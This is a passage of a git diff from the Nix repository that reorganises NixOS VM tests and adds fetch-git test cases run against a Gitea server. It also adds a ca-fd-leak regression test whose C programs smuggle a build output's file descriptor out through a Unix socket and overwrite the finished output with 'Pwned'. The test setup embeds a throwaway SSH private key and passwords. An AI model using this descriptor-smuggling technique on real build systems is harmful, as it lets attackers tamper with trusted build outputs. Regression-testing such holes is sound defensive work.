''; + +} diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c new file mode 100644 index 000000000..75e54fc8f --- /dev/null +++ b/tests/nixos/ca-fd-leak/sender.c @@ -0,0 +1,65 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +int main(int argc, char **argv) { + + assert(argc == 2); + + int sock = socket(AF_UNIX, SOCK_STREAM, 0); + + // Set up a abstract domain socket path to connect to. + struct sockaddr_un data; + data.sun_family = AF_UNIX; + data.sun_path[0] = 0; + strcpy(data.sun_path + 1, argv[1]); + + // Now try to connect, To ensure we work no matter what order we are + // executed in, just busyloop here. + int res = -1; + while (res < 0) { + res = connect(sock, (const struct sockaddr *)&data, + offsetof(struct sockaddr_un, sun_path) + + strlen(argv[1]) + + 1); + if (res < 0 && errno != ECONNREFUSED) perror("connect"); + if (errno != ECONNREFUSED) break; + } + + // Write our message header. + struct msghdr msg = {0}; + msg.msg_control = malloc(128); + msg.msg_controllen = 128; + + // Write an SCM_RIGHTS message containing the output path. + struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); + hdr->cmsg_len = CMSG_LEN(sizeof(int)); + hdr->cmsg_level = SOL_SOCKET; + hdr->cmsg_type = SCM_RIGHTS; + int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640); + memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int)); + + msg.msg_controllen = CMSG_SPACE(sizeof(int)); + + // Write a single null byte too. + msg.msg_iov = malloc(sizeof(struct iovec)); + msg.msg_iov[0].iov_base = ""; + msg.msg_iov[0].iov_len = 1; + msg.msg_iovlen = 1; + + // Send it to the othher side of this connection. + res = sendmsg(sock, &msg, 0); + if (res < 0) perror("sendmsg"); + int buf; + + // Wait for the server to close the socket, implying that it has + // received the commmand. + recv(sock, (void *)&buf, sizeof(int), 0); +} diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c new file mode 100644 index 000000000..82acf37e6 --- /dev/null +++ b/tests/nixos/ca-fd-leak/smuggler.c @@ -0,0 +1,66 @@ +#include +#include +#include +#include +#include +#include +#include + +int main(int argc, char **argv) { + + assert(argc == 2); + + int sock = socket(AF_UNIX, SOCK_STREAM, 0); + + // Bind to the socket. + struct sockaddr_un data; + data.sun_family = AF_UNIX; + data.sun_path[0] = 0; + strcpy(data.sun_path + 1, argv[1]); + int res = bind(sock, (const struct sockaddr *)&data, + offsetof(struct sockaddr_un, sun_path) + + strlen(argv[1]) + + 1); + if (res < 0) perror("bind"); + + res = listen(sock, 1); + if (res < 0) perror("listen"); + + int smuggling_fd = -1; + + // Accept the connection a first time to receive the file descriptor. + fprintf(stderr, "%s\n", "Waiting for the first connection"); + int a = accept(sock, 0, 0); + if (a < 0) perror("accept"); + + struct msghdr msg = {0}; + msg.msg_control = malloc(128); + msg.msg_controllen = 128; + + // Receive the file descriptor as sent by the smuggler. + recvmsg(a, &msg, 0); + + struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); + while (hdr) { + if (hdr->cmsg_level == SOL_SOCKET + && hdr->cmsg_type == SCM_RIGHTS) { + + // Grab the copy of the file descriptor. + memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int)); + } + + hdr = CMSG_NXTHDR(&msg, hdr); + } + fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection"); + close(a); + + // Wait for a second connection, which will tell us that the build is + // done + a = accept(sock, 0, 0); + fprintf(stderr, "%s\n", "Got a second connection, rewriting the file"); + // Write a new content to the file + if (ftruncate(smuggling_fd, 0)) perror("ftruncate"); + char * new_content = "Pwned\n"; + int written_bytes = write(smuggling_fd, new_content, strlen(new_content)); + if (written_bytes != strlen(new_content)) perror("write"); +} diff --git a/tests/containers.nix b/tests/nixos/containers/containers.nix similarity index 91% rename from tests/containers.nix rename to tests/nixos/containers/containers.nix index 59e953c3b..6773f5628 100644 --- a/tests/containers.nix +++ b/tests/nixos/containers/containers.nix @@ -1,12 +1,7 @@ # Test whether we can run a NixOS container inside a Nix build using systemd-nspawn. -{ nixpkgs, system, overlay }: +{ lib, nixpkgs, ... }: -with import (nixpkgs + "/nixos/lib/testing-python.nix") { - inherit system; - extraConfigurations = [ { nixpkgs.overlays = [ overlay ]; } ]; -}; - -makeTest ({ +{ name = "containers"; nodes = @@ -16,11 +11,11 @@ makeTest ({ { virtualisation.writableStore = true; virtualisation.diskSize = 2048; virtualisation.additionalPaths = - [ pkgs.stdenv + [ pkgs.stdenvNoCC (import ./systemd-nspawn.nix { inherit nixpkgs; }).toplevel ]; virtualisation.memorySize = 4096; - nix.binaryCaches = lib.mkForce [ ]; + nix.settings.substituters = lib.mkForce [ ]; nix.extraOptions = '' extra-experimental-features = nix-command auto-allocate-uids cgroups @@ -65,4 +60,4 @@ makeTest ({ host.succeed("[[ $(cat ./result/msg) = 'Hello World' ]]") ''; -}) +} diff --git a/tests/id-test.nix b/tests/nixos/containers/id-test.nix similarity index 100% rename from tests/id-test.nix rename to tests/nixos/containers/id-test.nix diff --git a/tests/systemd-nspawn.nix b/tests/nixos/containers/systemd-nspawn.nix similarity index 95% rename from tests/systemd-nspawn.nix rename to tests/nixos/containers/systemd-nspawn.nix index 424436b3f..1dad4ebd7 100644 --- a/tests/systemd-nspawn.nix +++ b/tests/nixos/containers/systemd-nspawn.nix @@ -56,12 +56,12 @@ runCommand "test" # Make /run a tmpfs to shut up a systemd warning. mkdir /run mount -t tmpfs none /run - chmod 0700 /run mount -t cgroup2 none /sys/fs/cgroup mkdir -p $out + chmod +w /etc touch /etc/os-release echo a5ea3f98dedc0278b6f3cc8c37eeaeac > /etc/machine-id @@ -73,6 +73,8 @@ runCommand "test" --resolv-conf=off \ --bind-ro=/nix/store \ --bind=$out \ + --bind=/proc:/run/host/proc \ + --bind=/sys:/run/host/sys \ --private-network \ $toplevel/init '' diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix new file mode 100644 index 000000000..3fa341ef1 --- /dev/null +++ b/tests/nixos/default.nix @@ -0,0 +1,158 @@ +{ lib, nixpkgs, nixpkgsFor, self }: + +let + + nixos-lib = import (nixpkgs + "/nixos/lib") { }; + + noTests = pkg: pkg.overrideAttrs ( + finalAttrs: prevAttrs: { + doCheck = false; + doInstallCheck = false; + }); + + # https://nixos.org/manual/nixos/unstable/index.html#sec-calling-nixos-tests + runNixOSTestFor = system: test: + (nixos-lib.runTest { + imports = [ + test + ]; + + hostPkgs = nixpkgsFor.${system}.native; + defaults = { + nixpkgs.pkgs = nixpkgsFor.${system}.native; + nix.checkAllErrors = false; + nix.package = noTests nixpkgsFor.${system}.native.nix; + }; + _module.args.nixpkgs = nixpkgs; + _module.args.system = system; + }) + // { + # allow running tests against older nix versions via `nix eval --apply` + # Example: + # nix build "$(nix eval --raw --impure .#hydraJobs.tests.fetch-git --apply 't: (t.forNix "2.19.2").drvPath')^*" + forNix = nixVersion: runNixOSTestFor system { + imports = [test]; + defaults.nixpkgs.overlays = [(curr: prev: { + # NOTE: noTests pkg might not have been built yet for some older versions of the package + # and in versions before 2.25, the untested build wasn't shared with the tested build yet + # Add noTests here when those versions become irrelevant. + nix = (builtins.getFlake "nix/${nixVersion}").packages.${system}.nix; + })]; + }; + }; + + # Checks that a NixOS configuration does not contain any references to our + # locally defined Nix version. + checkOverrideNixVersion = { pkgs, lib, ... }: { + # pkgs.nix: The new Nix in this repo + # We disallow it, to make sure we don't accidentally use it. + system.forbiddenDependenciesRegexes = [ + (lib.strings.escapeRegex "nix-${pkgs.nix.version}") + ]; + }; + + otherNixes.nix_2_3.setNixPackage = { lib, pkgs, ... }: { + imports = [ checkOverrideNixVersion ]; + nix.package = lib.mkForce pkgs.nixVersions.nix_2_3; + }; + + otherNixes.nix_2_13.setNixPackage = { lib, pkgs, ... }: { + imports = [ checkOverrideNixVersion ]; + nix.package = lib.mkForce ( + self.inputs.nixpkgs-23-11.legacyPackages.${pkgs.stdenv.hostPlatform.system}.nixVersions.nix_2_13.overrideAttrs (o: { + meta = o.meta // { knownVulnerabilities = []; }; + }) + ); + }; + + otherNixes.nix_2_18.setNixPackage = { lib, pkgs, ... }: { + imports = [ checkOverrideNixVersion ]; + nix.package = lib.mkForce pkgs.nixVersions.nix_2_18; + }; + +in + +{ + authorization = runNixOSTestFor "x86_64-linux" ./authorization.nix; + + remoteBuilds = runNixOSTestFor "x86_64-linux" ./remote-builds.nix; + + remoteBuildsSshNg = runNixOSTestFor "x86_64-linux" ./remote-builds-ssh-ng.nix; + +} +// lib.concatMapAttrs ( + nixVersion: { setNixPackage, ... }: + { + "remoteBuilds_remote_${nixVersion}" = runNixOSTestFor "x86_64-linux" { + name = "remoteBuilds_remote_${nixVersion}"; + imports = [ ./remote-builds.nix ]; + builders.config = { lib, pkgs, ... }: { + imports = [ setNixPackage ]; + }; + }; + + "remoteBuilds_local_${nixVersion}" = runNixOSTestFor "x86_64-linux" { + name = "remoteBuilds_local_${nixVersion}"; + imports = [ ./remote-builds.nix ]; + nodes.client = { lib, pkgs, ... }: { + imports = [ setNixPackage ]; + }; + }; + + "remoteBuildsSshNg_remote_${nixVersion}" = runNixOSTestFor "x86_64-linux" { + name = "remoteBuildsSshNg_remote_${nixVersion}"; + imports = [ ./remote-builds-ssh-ng.nix ]; + builders.config = { lib, pkgs, ... }: { + imports = [ setNixPackage ]; + }; + }; + + # FIXME: these tests don't work yet + + # "remoteBuildsSshNg_local_${nixVersion}" = runNixOSTestFor "x86_64-linux" { + # name = "remoteBuildsSshNg_local_${nixVersion}"; + # imports = [ ./remote-builds-ssh-ng.nix ]; + # nodes.client = { lib, pkgs, ... }: { + # imports = [ overridingModule ]; + # }; + # }; + } +) otherNixes +// { + + nix-copy-closure = runNixOSTestFor "x86_64-linux" ./nix-copy-closure.nix; + + nix-copy = runNixOSTestFor "x86_64-linux" ./nix-copy.nix; + + nssPreload = runNixOSTestFor "x86_64-linux" ./nss-preload.nix; + + githubFlakes = runNixOSTestFor "x86_64-linux" ./github-flakes.nix; + + gitSubmodules = runNixOSTestFor "x86_64-linux" ./git-submodules.nix; + + sourcehutFlakes = runNixOSTestFor "x86_64-linux" ./sourcehut-flakes.nix; + + tarballFlakes = runNixOSTestFor "x86_64-linux" ./tarball-flakes.nix; + + containers = runNixOSTestFor "x86_64-linux" ./containers/containers.nix; + + setuid = lib.genAttrs + ["x86_64-linux"] + (system: runNixOSTestFor system ./setuid.nix); + + fetch-git = runNixOSTestFor "x86_64-linux" ./fetch-git; + + ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak; + + gzip-content-encoding = runNixOSTestFor "x86_64-linux" ./gzip-content-encoding.nix; + + functional_user = runNixOSTestFor "x86_64-linux" ./functional/as-user.nix; + + functional_trusted = runNixOSTestFor "x86_64-linux" ./functional/as-trusted-user.nix; + + functional_root = runNixOSTestFor "x86_64-linux" ./functional/as-root.nix; + + user-sandboxing = runNixOSTestFor "x86_64-linux" ./user-sandboxing; + + s3-binary-cache-store = runNixOSTestFor "x86_64-linux" ./s3-binary-cache-store.nix; +} diff --git a/tests/nixos/fetch-git/default.nix b/tests/nixos/fetch-git/default.nix new file mode 100644 index 000000000..1d6bcb637 --- /dev/null +++ b/tests/nixos/fetch-git/default.nix @@ -0,0 +1,32 @@ +{ lib, config, ... }: +{ + name = "fetch-git"; + + imports = [ + ./testsupport/gitea.nix + ]; + + /* + Test cases + + Test cases are automatically imported from ./test-cases/{name} + + The following is set up automatically for each test case: + - a repo with the {name} is created on the gitea server + - a repo with the {name} is created on the client + - the client repo is configured to push to the server repo + + Python variables: + - repo.path: the path to the directory of the client repo + - repo.git: the git command with the client repo as the working directory + - repo.remote: the url to the server repo + */ + testCases = + map + (testCaseName: {...}: { + imports = [ (./test-cases + "/${testCaseName}") ]; + # ensures tests are named like their directories they are defined in + name = testCaseName; + }) + (lib.attrNames (builtins.readDir ./test-cases)); +} diff --git a/tests/nixos/fetch-git/test-cases/fetchTree-shallow/default.nix b/tests/nixos/fetch-git/test-cases/fetchTree-shallow/default.nix new file mode 100644 index 000000000..f635df1f8 --- /dev/null +++ b/tests/nixos/fetch-git/test-cases/fetchTree-shallow/default.nix @@ -0,0 +1,45 @@ +{ + description = "fetchTree fetches git repos shallowly by default"; + script = '' + # purge nix git cache to make sure we start with a clean slate + client.succeed("rm -rf ~/.cache/nix") + + # add two commits to the repo: + # - one with a large file (2M) + # - another one making the file small again + client.succeed(f""" + dd if=/dev/urandom of={repo.path}/thailand bs=1M count=2 \ + && {repo.git} add thailand \ + && {repo.git} commit -m 'commit1' \ + && echo 'ThaigerSprint' > {repo.path}/thailand \ + && {repo.git} add thailand \ + && {repo.git} commit -m 'commit2' \ + && {repo.git} push origin main + """) + + # memoize the revision + commit2_rev = client.succeed(f""" + {repo.git} rev-parse HEAD + """).strip() + + # construct the fetcher call + fetchGit_expr = f""" + builtins.fetchTree {{ + type = "git"; + url = "{repo.remote}"; + rev = "{commit2_rev}"; + }} + """ + + # fetch the repo via nix + fetched1 = client.succeed(f""" + nix eval --impure --raw --expr '({fetchGit_expr}).outPath' + """) + + # check that the size of ~/.cache/nix is less than 1M + cache_size = client.succeed(""" + du -s ~/.cache/nix + """).strip().split()[0] + assert int(cache_size) < 1024, f"cache size is {cache_size}K which is larger than 1M" + ''; +} diff --git a/tests/nixos/fetch-git/test-cases/http-auth/default.nix b/tests/nixos/fetch-git/test-cases/http-auth/default.nix new file mode 100644 index 000000000..d483d54fb --- /dev/null +++ b/tests/nixos/fetch-git/test-cases/http-auth/default.nix @@ -0,0 +1,40 @@ +{ config, ... }: +{ + description = "can fetch a private git repo via http"; + repo.private = true; + script = '' + # add a file to the repo + client.succeed(f""" + echo ${config.name /* to make the git tree and store path unique */} > {repo.path}/test-case \ + && echo lutyabrook > {repo.path}/new-york-state \ + && {repo.git} add test-case new-york-state \ + && {repo.git} commit -m 'commit1' + """) + + # memoize the revision + rev1 = client.succeed(f""" + {repo.git} rev-parse HEAD + """).strip() + + # push to the server + client.succeed(f""" + {repo.git} push origin main + """) + + # fetch the repo via nix + fetched1 = client.succeed(f""" + nix eval --impure --raw --expr "(builtins.fetchGit {repo.remote}).outPath" + """) + + # check if the committed file is there + client.succeed(f""" + test -f {fetched1}/new-york-state + """) + + # check if the revision is the same + rev1_fetched = client.succeed(f""" + nix eval --impure --raw --expr "(builtins.fetchGit {repo.remote}).rev" + """).strip() + assert rev1 == rev1_fetched, f"rev1: {rev1} != rev1_fetched: {rev1_fetched}" + ''; +} diff --git a/tests/nixos/fetch-git/test-cases/http-simple/default.nix b/tests/nixos/fetch-git/test-cases/http-simple/default.nix new file mode 100644 index 000000000..dcab8067e --- /dev/null +++ b/tests/nixos/fetch-git/test-cases/http-simple/default.nix @@ -0,0 +1,39 @@ +{ config, ... }: +{ + description = "can fetch a git repo via http"; + script = '' + # add a file to the repo + client.succeed(f""" + echo ${config.name /* to make the git tree and store path unique */} > {repo.path}/test-case \ + && echo chiang-mai > {repo.path}/thailand \ + && {repo.git} add test-case thailand \ + && {repo.git} commit -m 'commit1' + """) + + # save the revision + rev1 = client.succeed(f""" + {repo.git} rev-parse HEAD + """).strip() + + # push to the server + client.succeed(f""" + {repo.git} push origin main + """) + + # fetch the repo via nix + fetched1 = client.succeed(f""" + nix eval --impure --raw --expr "(builtins.fetchGit {repo.remote}).outPath" + """) + + # check if the committed file is there + client.succeed(f""" + test -f {fetched1}/thailand + """) + + # check if the revision is the same + rev1_fetched = client.succeed(f""" + nix eval --impure --raw --expr "(builtins.fetchGit {repo.remote}).rev" + """).strip() + assert rev1 == rev1_fetched, f"rev1: {rev1} != rev1_fetched: {rev1_fetched}" + ''; +} diff --git a/tests/nixos/fetch-git/test-cases/shallow-cache-separation/default.nix b/tests/nixos/fetch-git/test-cases/shallow-cache-separation/default.nix new file mode 100644 index 000000000..57561e74b --- /dev/null +++ b/tests/nixos/fetch-git/test-cases/shallow-cache-separation/default.nix @@ -0,0 +1,57 @@ +{ + description = "can fetch the same repo shallowly and non-shallowly"; + script = '' + # create branch1 off of main + client.succeed(f""" + echo chiang-mai > {repo.path}/thailand \ + && {repo.git} add thailand \ + && {repo.git} commit -m 'commit1' \ + \ + && {repo.git} push origin --all + """) + + # save the revision + mainRev = client.succeed(f""" + {repo.git} rev-parse main + """).strip() + + # fetch shallowly + revCountShallow = client.succeed(f""" + nix eval --impure --expr ' + (builtins.fetchGit {{ + url = "{repo.remote}"; + rev = "{mainRev}"; + shallow = true; + }}).revCount + ' + """).strip() + # ensure the revCount is 0 + assert revCountShallow == "0", f"revCountShallow should be 0, but is {revCountShallow}" + + # fetch non-shallowly + revCountNonShallow = client.succeed(f""" + nix eval --impure --expr ' + (builtins.fetchGit {{ + url = "{repo.remote}"; + rev = "{mainRev}"; + shallow = false; + }}).revCount + ' + """).strip() + # ensure the revCount is 1 + assert revCountNonShallow == "1", f"revCountNonShallow should be 1, but is {revCountNonShallow}" + + # fetch shallowly again + revCountShallow2 = client.succeed(f""" + nix eval --impure --expr ' + (builtins.fetchGit {{ + url = "{repo.remote}"; + rev = "{mainRev}"; + shallow = true; + }}).revCount + ' + """).strip() + # ensure the revCount is 0 + assert revCountShallow2 == "0", f"revCountShallow2 should be 0, but is {revCountShallow2}" + ''; +} diff --git a/tests/nixos/fetch-git/test-cases/shallow-ignore-ref/default.nix b/tests/nixos/fetch-git/test-cases/shallow-ignore-ref/default.nix new file mode 100644 index 000000000..456ee8341 --- /dev/null +++ b/tests/nixos/fetch-git/test-cases/shallow-ignore-ref/default.nix @@ -0,0 +1,40 @@ +{ + description = "ensure that ref gets ignored when shallow=true is set"; + script = '' + # create branch1 off of main + client.succeed(f""" + echo chiang-mai > {repo.path}/thailand \ + && {repo.git} add thailand \ + && {repo.git} commit -m 'commit1' \ + \ + && {repo.git} checkout -b branch1 main \ + && echo bangkok > {repo.path}/thailand \ + && {repo.git} add thailand \ + && {repo.git} commit -m 'commit2' \ + \ + && {repo.git} push origin --all + """) + + # save the revisions + mainRev = client.succeed(f""" + {repo.git} rev-parse main + """).strip() + branch1Rev = client.succeed(f""" + {repo.git} rev-parse branch1 + """).strip() + + # Ensure that ref gets ignored when fetching shallowly. + # This would fail if the ref was respected, as branch1Rev is not on main. + client.succeed(f""" + nix eval --impure --raw --expr ' + (builtins.fetchGit {{ + url = "{repo.remote}"; + rev = "{branch1Rev}"; + ref = "main"; + shallow = true; + }}) + ' + """) + + ''; +} diff --git a/tests/nixos/fetch-git/test-cases/ssh-shallow/default.nix b/tests/nixos/fetch-git/test-cases/ssh-shallow/default.nix new file mode 100644 index 000000000..979512af9 --- /dev/null +++ b/tests/nixos/fetch-git/test-cases/ssh-shallow/default.nix @@ -0,0 +1,52 @@ +{ + description = "can fetch a git repo via ssh using shallow=1"; + script = '' + # add a file to the repo + client.succeed(f""" + echo chiang-mai > {repo.path}/thailand \ + && {repo.git} add thailand \ + && {repo.git} commit -m 'commit1' + """) + + # memoize the revision + rev1 = client.succeed(f""" + {repo.git} rev-parse HEAD + """).strip() + + # push to the server + client.succeed(f""" + {repo.git} push origin-ssh main + """) + + fetchGit_expr = f""" + builtins.fetchGit {{ + url = "{repo.remote_ssh}"; + rev = "{rev1}"; + shallow = true; + }} + """ + + # fetch the repo via nix + fetched1 = client.succeed(f""" + nix eval --impure --raw --expr '({fetchGit_expr}).outPath' + """) + + # check if the committed file is there + client.succeed(f""" + test -f {fetched1}/thailand + """) + + # check if the revision is the same + rev1_fetched = client.succeed(f""" + nix eval --impure --raw --expr '({fetchGit_expr}).rev' + """).strip() + assert rev1 == rev1_fetched, f"rev1: {rev1} != rev1_fetched: {rev1_fetched}" + + # check if revCount is 1 + revCount1 = client.succeed(f""" + nix eval --impure --expr '({fetchGit_expr}).revCount' + """).strip() + print(f"revCount1: {revCount1}") + assert revCount1 == '0', f"rev count is not 0 but {revCount1}" + ''; +} diff --git a/tests/nixos/fetch-git/test-cases/ssh-simple/default.nix b/tests/nixos/fetch-git/test-cases/ssh-simple/default.nix new file mode 100644 index 000000000..f5fba1698 --- /dev/null +++ b/tests/nixos/fetch-git/test-cases/ssh-simple/default.nix @@ -0,0 +1,43 @@ +{ config, ... }: +{ + description = "can fetch a git repo via ssh"; + script = '' + # add a file to the repo + client.succeed(f""" + echo ${config.name /* to make the git tree and store path unique */} > {repo.path}/test-case \ + && echo chiang-mai > {repo.path}/thailand \ + && {repo.git} add test-case thailand \ + && {repo.git} commit -m 'commit1' + """) + + # save the revision + rev1 = client.succeed(f""" + {repo.git} rev-parse HEAD + """).strip() + + # push to the server + client.succeed(f""" + {repo.git} push origin-ssh main + """) + + # fetch the repo via nix + fetched1 = client.succeed(f""" + nix eval --impure --raw --expr ' + (builtins.fetchGit "{repo.remote_ssh}").outPath + ' + """) + + # check if the committed file is there + client.succeed(f""" + test -f {fetched1}/thailand + """) + + # check if the revision is the same + rev1_fetched = client.succeed(f""" + nix eval --impure --raw --expr ' + (builtins.fetchGit "{repo.remote_ssh}").rev + ' + """).strip() + assert rev1 == rev1_fetched, f"rev1: {rev1} != rev1_fetched: {rev1_fetched}" + ''; +} diff --git a/tests/nixos/fetch-git/testsupport/gitea-repo.nix b/tests/nixos/fetch-git/testsupport/gitea-repo.nix new file mode 100644 index 000000000..e9f4adcc1 --- /dev/null +++ b/tests/nixos/fetch-git/testsupport/gitea-repo.nix @@ -0,0 +1,75 @@ +{ lib, ... }: +let + inherit (lib) + mkIf + mkOption + types + ; + + boolPyLiteral = b: if b then "True" else "False"; + + testCaseExtension = { config, ... }: { + options = { + repo.enable = mkOption { + type = types.bool; + default = true; + description = "Whether to provide a repo variable - automatic repo creation."; + }; + repo.private = mkOption { + type = types.bool; + default = false; + description = "Whether the repo should be private."; + }; + }; + config = mkIf config.repo.enable { + setupScript = '' + repo = Repo("${config.name}", private=${boolPyLiteral config.repo.private}) + ''; + }; + }; +in +{ + options = { + testCases = mkOption { + type = types.listOf (types.submodule testCaseExtension); + }; + }; + config = { + setupScript = '' + def boolToJSON(b): + return "true" if b else "false" + + class Repo: + """ + A class to create a git repository on the gitea server and locally. + """ + def __init__(self, name, private=False): + self.name = name + self.path = "/tmp/repos/" + name + self.remote = "http://gitea:3000/test/" + name + self.remote_ssh = "ssh://gitea/root/" + name + self.git = f"git -C {self.path}" + self.private = private + self.create() + + def create(self): + # create ssh remote repo + gitea.succeed(f""" + git init --bare -b main /root/{self.name} + """) + # create http remote repo + gitea.succeed(f""" + curl --fail -X POST http://{gitea_admin}:{gitea_admin_password}@gitea:3000/api/v1/user/repos \ + -H 'Accept: application/json' -H 'Content-Type: application/json' \ + -d {shlex.quote( f'{{"name":"{self.name}", "default_branch": "main", "private": {boolToJSON(self.private)}}}' )} + """) + # setup git remotes on client + client.succeed(f""" + mkdir -p {self.path} \ + && git init -b main {self.path} \ + && {self.git} remote add origin {self.remote} \ + && {self.git} remote add origin-ssh root@gitea:{self.name} + """) + ''; + }; +} diff --git a/tests/nixos/fetch-git/testsupport/gitea.nix b/tests/nixos/fetch-git/testsupport/gitea.nix new file mode 100644 index 000000000..cf87bb466 --- /dev/null +++ b/tests/nixos/fetch-git/testsupport/gitea.nix @@ -0,0 +1,102 @@ +{ lib, nixpkgs, system, pkgs, ... }: let + clientPrivateKey = pkgs.writeText "id_ed25519" '' + -----BEGIN OPENSSH PRIVATE KEY----- + b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW + QyNTUxOQAAACBbeWvHh/AWGWI6EIc1xlSihyXtacNQ9KeztlW/VUy8wQAAAJAwVQ5VMFUO + VQAAAAtzc2gtZWQyNTUxOQAAACBbeWvHh/AWGWI6EIc1xlSihyXtacNQ9KeztlW/VUy8wQ + AAAEB7lbfkkdkJoE+4TKHPdPQWBKLSx+J54Eg8DaTr+3KoSlt5a8eH8BYZYjoQhzXGVKKH + Je1pw1D0p7O2Vb9VTLzBAAAACGJmb0BtaW5pAQIDBAU= + -----END OPENSSH PRIVATE KEY----- + ''; + + clientPublicKey = + "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFt5a8eH8BYZYjoQhzXGVKKHJe1pw1D0p7O2Vb9VTLzB"; + +in { + imports = [ + ../testsupport/setup.nix + ../testsupport/gitea-repo.nix + ]; + nodes = { + gitea = { pkgs, ... }: { + services.gitea.enable = true; + services.gitea.settings.service.DISABLE_REGISTRATION = true; + services.gitea.settings.log.LEVEL = "Info"; + services.gitea.settings.database.LOG_SQL = false; + services.openssh.enable = true; + networking.firewall.allowedTCPPorts = [ 3000 ]; + environment.systemPackages = [ pkgs.git pkgs.gitea ]; + + users.users.root.openssh.authorizedKeys.keys = [clientPublicKey]; + + # TODO: remove this after updating to nixos-23.11 + nixpkgs.pkgs = lib.mkForce (import nixpkgs { + inherit system; + config.permittedInsecurePackages = [ + "gitea-1.19.4" + ]; + }); + }; + client = { pkgs, ... }: { + environment.systemPackages = [ pkgs.git ]; + }; + }; + defaults = { pkgs, ... }: { + environment.systemPackages = [ pkgs.jq ]; + }; + + setupScript = '' + import shlex + + gitea.wait_for_unit("gitea.service") + + gitea_admin = "test" + gitea_admin_password = "test123test" + + gitea.succeed(f""" + gitea --version >&2 + su -l gitea -c 'GITEA_WORK_DIR=/var/lib/gitea gitea admin user create \ + --username {gitea_admin} --password {gitea_admin_password} --email test@client' + """) + + client.wait_for_unit("multi-user.target") + gitea.wait_for_open_port(3000) + + gitea_admin_token = gitea.succeed(f""" + curl --fail -X POST http://{gitea_admin}:{gitea_admin_password}@gitea:3000/api/v1/users/test/tokens \ + -H 'Accept: application/json' -H 'Content-Type: application/json' \ + -d {shlex.quote( '{"name":"token", "scopes":["all"]}' )} \ + | jq -r '.sha1' + """).strip() + + client.succeed(f""" + echo "http://{gitea_admin}:{gitea_admin_password}@gitea:3000" >~/.git-credentials-admin + git config --global credential.helper 'store --file ~/.git-credentials-admin' + git config --global user.email "test@client" + git config --global user.name "Test User" + git config --global gc.autodetach 0 + git config --global gc.auto 0 + """) + + # add client's private key to ~/.ssh + client.succeed(""" + mkdir -p ~/.ssh + chmod 700 ~/.ssh + cat ${clientPrivateKey} >~/.ssh/id_ed25519 + chmod 600 ~/.ssh/id_ed25519 + """) + + client.succeed(""" + echo "Host gitea" >>~/.ssh/config + echo " StrictHostKeyChecking no" >>~/.ssh/config + echo " UserKnownHostsFile /dev/null" >>~/.ssh/config + echo " User root" >>~/.ssh/config + """) + + # ensure ssh from client to gitea works + client.succeed(""" + ssh root@gitea true + """) + + ''; +} diff --git a/tests/nixos/fetch-git/testsupport/setup.nix b/tests/nixos/fetch-git/testsupport/setup.nix new file mode 100644 index 000000000..a81d5614b --- /dev/null +++ b/tests/nixos/fetch-git/testsupport/setup.nix @@ -0,0 +1,91 @@ +{ lib, config, extendModules, ... }: +let + inherit (lib) + mkOption + types + ; + + indent = lib.replaceStrings ["\n"] ["\n "]; + + execTestCase = testCase: '' + + ### TEST ${testCase.name}: ${testCase.description} ### + + with subtest("${testCase.description}"): + # Setup + ${indent testCase.setupScript} + + # Test + ${indent testCase.script} + ''; +in +{ + + options = { + setupScript = mkOption { + type = types.lines; + description = '' + Python code that runs before the main test. + + Variables defined by this code will be available in the test. + ''; + default = ""; + }; + testCases = mkOption { + description = '' + The test cases. See `testScript`. + ''; + type = types.listOf (types.submodule { + options.name = mkOption { + type = types.str; + description = '' + The name of the test case. + + A repository with that name will be set up on the gitea server and locally. + ''; + }; + options.description = mkOption { + type = types.str; + description = '' + A description of the test case. + ''; + }; + options.setupScript = mkOption { + type = types.lines; + description = '' + Python code that runs before the test case. + ''; + default = ""; + }; + options.script = mkOption { + type = types.lines; + description = '' + Python code that runs the test. + + Variables defined by the global `setupScript`, as well as `testCases.*.setupScript` will be available here. + ''; + }; + }); + }; + }; + + config = { + nodes.client = { + environment.variables = { + _NIX_FORCE_HTTP = "1"; + }; + nix.settings.experimental-features = ["nix-command" "flakes"]; + }; + setupScript = '' + ''; + testScript = '' + start_all(); + + ${config.setupScript} + + ### SETUP COMPLETE ### + + ${lib.concatStringsSep "\n" (map execTestCase config.testCases)} + ''; + }; +} diff --git a/tests/nixos/functional/as-root.nix b/tests/nixos/functional/as-root.nix new file mode 100644 index 000000000..96be3d593 --- /dev/null +++ b/tests/nixos/functional/as-root.nix @@ -0,0 +1,12 @@ +{ + name = "functional-tests-on-nixos_root"; + + imports = [ ./common.nix ]; + + testScript = '' + machine.wait_for_unit("multi-user.target") + machine.succeed(""" + run-test-suite >&2 + """) + ''; +} diff --git a/tests/nixos/functional/as-trusted-user.nix b/tests/nixos/functional/as-trusted-user.nix new file mode 100644 index 000000000..d6f825697 --- /dev/null +++ b/tests/nixos/functional/as-trusted-user.nix @@ -0,0 +1,18 @@ +{ + name = "functional-tests-on-nixos_trusted-user"; + + imports = [ ./common.nix ]; + + nodes.machine = { + users.users.alice = { isNormalUser = true; }; + nix.settings.trusted-users = [ "alice" ]; + }; + + testScript = '' + machine.wait_for_unit("multi-user.target") + machine.succeed(""" + export TEST_TRUSTED_USER=1 + su --login --command "run-test-suite" alice >&2 + """) + ''; +} \ No newline at end of file diff --git a/tests/nixos/functional/as-user.nix b/tests/nixos/functional/as-user.nix new file mode 100644 index 000000000..1443f6e6c --- /dev/null +++ b/tests/nixos/functional/as-user.nix @@ -0,0 +1,16 @@ +{ + name = "functional-tests-on-nixos_user"; + + imports = [ ./common.nix ]; + + nodes.machine = { + users.users.alice = { isNormalUser = true; }; + }; + + testScript = '' + machine.wait_for_unit("multi-user.target") + machine.succeed(""" + su --login --command "run-test-suite" alice >&2 + """) + ''; +} diff --git a/tests/nixos/functional/common.nix b/tests/nixos/functional/common.nix new 